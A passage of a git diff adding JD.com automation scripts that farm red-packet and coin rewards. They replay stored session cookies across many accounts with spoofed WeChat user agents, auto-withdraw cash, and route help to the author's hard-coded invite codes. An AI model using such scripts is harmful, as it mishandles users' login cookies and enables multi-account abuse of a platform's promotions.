t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_jdtj_winner.js b/jd_jdtj_winner.js new file mode 100644 index 0000000..59a77a3 --- /dev/null +++ b/jd_jdtj_winner.js @@ -0,0 +1,323 @@ +/* +京东特价翻翻乐 +一天可翻多次,但有上限 +运气好每次可得0.3元以上的微信现金(需京东账号绑定到微信) +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#京东特价翻翻乐 +20 0-23/3 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_jdtj_winner.js, tag=京东特价翻翻乐, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "20 0-23/3 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_jdtj_winner.js,tag=京东特价翻翻乐 + +===============Surge================= +京东特价翻翻乐 = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_jdtj_winner.js + +============小火箭========= +京东特价翻翻乐 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_jdtj_winner.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东特价翻翻乐'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', linkId = 'ouLEuSSoBzj9b9YYYIsiDA', fflLinkId = 'ouLEuSSoBzj9b9YYYIsiDA'; +const money = process.env.BIGWINNER_MONEY || 0.3 +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const len = cookiesArr.length; + +!(async () => { + $.redPacketId = [] + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + for (let i = 0; i < len; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await $.wait(3000); + await main() + } + } + if (message) { + $.msg($.name, '', message); + if ($.isNode()) await notify.sendNotify($.name, message); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function main() { + try { + $.canApCashWithDraw = false; + $.changeReward = true; + $.canOpenRed = true; + await gambleHomePage(); + if (!$.time) { + console.log(`开始进行翻翻乐拿红包\n`) + await gambleOpenReward();//打开红包 + await $.wait(3000); + if ($.canOpenRed) { + while (!$.canApCashWithDraw && $.changeReward) { + await openRedReward(); + await $.wait(2000); + } + if ($.canApCashWithDraw) { + //提现 + await openRedReward('gambleObtainReward', $.rewardData.rewardType); + await apCashWithDraw($.rewardData.id, $.rewardData.poolBaseId, $.rewardData.prizeGroupId, $.rewardData.prizeBaseId, $.rewardData.prizeType); + } + } + } + } catch (e) { + $.logErr(e) + } +} + + +//查询剩余多长时间可进行翻翻乐 +function gambleHomePage() { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://doublejoy.jd.com', + 'Accept': 'application/json, text/plain, */*', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), 'Accept-Encoding': `gzip, deflate, br`, + 'Referer': `https://doublejoy.jd.com/?activityId${linkId}`, + 'Accept-Language': 'zh-cn', + 'Cookie': cookie + } + const body = { 'linkId': fflLinkId }; + const options = { + url: `https://api.m.jd.com/?functionId=gambleHomePage&body=${encodeURIComponent(JSON.stringify(body))}&appid=activities_platform&clientVersion=null`, + headers, + } + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data.data.leftTime === 0) { + $.time = data.data.leftTime; + } else { + $.time = (data.data.leftTime / (60 * 1000)).toFixed(2); + } + console.log(`\n查询下次翻翻乐剩余时间成功:\n京东账号【${$.UserName}】距开始剩 ${$.time} 分钟`); + } else { + console.log(`查询下次翻翻乐剩余时间失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//打开翻翻乐红包 +function gambleOpenReward() { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://doublejoy.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; Note9 Build/PKQ1.181203.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3149 MMWEBSDK/20211001 Mobile Safari/537.36 MMWEBID/8813 MicroMessenger/8.0.16.2040(0x28001055) Process/appbrand0 WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64 miniProgram/wxc3c2227edeffca75', + 'Referer': `https://doublejoy.jd.com`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = { 'linkId': fflLinkId }; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=gambleOpenReward&body=${JSON.stringify(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=null` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + console.log(`翻翻乐打开红包 成功,获得:${data.data.rewardValue}元红包\n`); + } else { + console.log(`翻翻乐打开红包 失败:${JSON.stringify(data)}\n`); + if (data.code === 20007 || data.code === 1000) { + $.canOpenRed = false; + console.log(`翻翻乐打开红包 失败,今日活动参与次数已达上限或者黑号拉!`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//翻倍红包 +function openRedReward(functionId = 'gambleChangeReward', type) { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://doublejoy.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; Note9 Build/PKQ1.181203.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3149 MMWEBSDK/20211001 Mobile Safari/537.36 MMWEBID/8813 MicroMessenger/8.0.16.2040(0x28001055) Process/appbrand0 WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64 miniProgram/wxc3c2227edeffca75', + 'Referer': `https://doublejoy.jd.com`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = { 'linkId': fflLinkId }; + if (type) body['rewardType'] = type; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=${functionId}&body=${JSON.stringify(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=null` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + $.changeReward = false; + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(`翻翻乐结果:${data}\n`); + data = JSON.parse(data); + if (data['code'] === 0) { + $.rewardData = data.data; + if (data.data.rewardState === 1) { + if (data.data.rewardValue >= money) { + //已翻倍到0.3元,可以提现了 + $.canApCashWithDraw = true; + $.changeReward = false; + // message += `${data.data.rewardValue}元现金\n` + } + if (data.data.rewardType === 1) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元红包\n`); + } else if (data.data.rewardType === 2) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元现金\n`); + // $.canApCashWithDraw = true; + } else { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${JSON.stringify(data)}\n`); + } + } else if (data.data.rewardState === 3) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 失败,奖品溜走了/(ㄒoㄒ)/~~\n`); + $.changeReward = false; + } else { + if (type) { + console.log(`翻翻乐领取成功:${data.data.amount}现金\n`) + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${new Date().getHours()}点:${data.data.amount}现金\n`; + } else { + console.log(`翻翻乐 翻倍 成功,获得:${JSON.stringify(data)}\n`); + } + } + } else { + $.canApCashWithDraw = true; + $.changeReward = false; + console.log(`翻翻乐 翻倍 失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//翻翻乐提现 +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://doublejoy.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; Note9 Build/PKQ1.181203.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3149 MMWEBSDK/20211001 Mobile Safari/537.36 MMWEBID/8813 MicroMessenger/8.0.16.2040(0x28001055) Process/appbrand0 WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64 miniProgram/wxc3c2227edeffca75', + 'Referer': `https://doublejoy.jd.com?activityId=${linkId}`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = { + "businessSource": "GAMBLE", + "base": { + id, + "business": "redEnvelopeDouble", + poolBaseId, + prizeGroupId, + prizeBaseId, + prizeType + }, + "linkId": fflLinkId + }; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=apCashWithDraw&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}&appid=activities_platform&clientVersion=null` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['status'] === '310') { + console.log(`京东特价--翻翻乐 成功🎉,详情:${JSON.stringify(data)}\n`); + message += `提现至微信钱包成功🎉\n\n`; + } else if (data['data']['status'] === '50053') { + console.log(`京东特价--翻翻乐 失败,详情:${JSON.stringify(data)}\n`); + message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; + } + } else { + console.log(`京东特价--翻翻乐 失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), a = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(a, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t) { let e = { "M+": (new Date).getMonth() + 1, "d+": (new Date).getDate(), "H+": (new Date).getHours(), "m+": (new Date).getMinutes(), "s+": (new Date).getSeconds(), "q+": Math.floor(((new Date).getMonth() + 3) / 3), S: (new Date).getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, ((new Date).getFullYear() + "").substr(4 - RegExp.$1.length))); for (let s in e) new RegExp("(" + s + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? e[s] : ("00" + e[s]).substr(("" + e[s]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))); let h = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; h.push(e), s && h.push(s), i && h.push(i), console.log(h.join("\n")), this.logs = this.logs.concat(h) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_jdzz.js b/jd_jdzz.js new file mode 100644 index 0000000..fdd2468 --- /dev/null +++ b/jd_jdzz.js @@ -0,0 +1,412 @@ +/* +京东赚赚 +可以做随机互助 +活动入口:京东赚赚小程序 +长期活动,每日收益2毛左右,多号互助会较多 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +# 京东赚赚 +10 0 * * * jd_jdzz.js, tag=京东赚赚, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzz.png, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_jdzz.js,tag=京东赚赚 + +===============Surge================= +京东赚赚 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_jdzz.js + +============小火箭========= +京东赚赚 = type=cron,script-path=jd_jdzz.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东赚赚'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let helpAuthor = true; // 帮助作者 +const randomCount = $.isNode() ? 20 : 5; +let jdNotify = true; // 是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `S9KUiH11Mq1bSKBo@S5KkcRh9P9FbRKUygl_UJcg@StvV3SBcQ8Vw@S5KkcEV9ThDGWdWGw0K5u@S5KkcRktN8lyBdEj1kaQMdw@Sa3LolJe5IPhP9aNJQlGD@S5KkcR0pM91aBIhmgxf9bcA@S5KkcREwR_VXRIB78kvRYcg@S5KkcRE8b9QGEIEz0nKRbJw`, + `S9KUiH11Mq1bSKBo@S5KkcRh9P9FbRKUygl_UJcg@StvV3SBcQ8Vw@S5KkcEV9ThDGWdWGw0K5u@S5KkcRktN8lyBdEj1kaQMdw@Sa3LolJe5IPhP9aNJQlGD@S5KkcR0pM91aBIhmgxf9bcA@S5KkcREwR_VXRIB78kvRYcg@S5KkcRE8b9QGEIEz0nKRbJw`, +] +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await jdWish() + } + } + if (allMessage) { + //NODE端,默认每月一日运行进行推送通知一次 + if ($.isNode() && nowTimes.getDate() === 1 && (process.env.JDZZ_NOTIFY_CONTROL ? process.env.JDZZ_NOTIFY_CONTROL === 'false' : !!1)) { + await notify.sendNotify($.name, allMessage); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdWish() { + $.bean = 0 + $.tuan = null + $.hasOpen = false; + $.assistStatus = 0; + await getTaskList(true) + + // await helpFriends() + await getUserInfo() + $.nowBean = parseInt($.totalBeanNum) + $.nowNum = parseInt($.totalNum) + for (let i = 0; i < $.taskList.length; ++i) { + let task = $.taskList[i] + if (task['taskId'] !== 3 && task['status'] !== 2) { + console.log(`去做任务:${task.taskName}`) + if (task['itemId']) + await doTask({ "itemId": task['itemId'], "taskId": task['taskId'], "taskToken": task["taskToken"], "mpVersion": "3.4.0" }) + else + await doTask({ "taskId": task['taskId'], "taskToken": task["taskToken"], "mpVersion": "3.4.0" }) + await $.wait(3000) + } + } + await getTaskList(); + await showMsg(); +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${parseInt($.totalBeanNum) - $.nowBean}京豆,${parseInt($.totalNum) - $.nowNum}金币\n` + message += `累计获得${$.totalBeanNum}京豆,${$.totalNum}金币\n可兑换${$.totalNum / 10000}元无门槛红包\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现` + if (parseInt($.totalBeanNum) - $.nowBean > 0) { + //IOS运行获得京豆大于0通知 + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } else { + $.log(message) + } + // 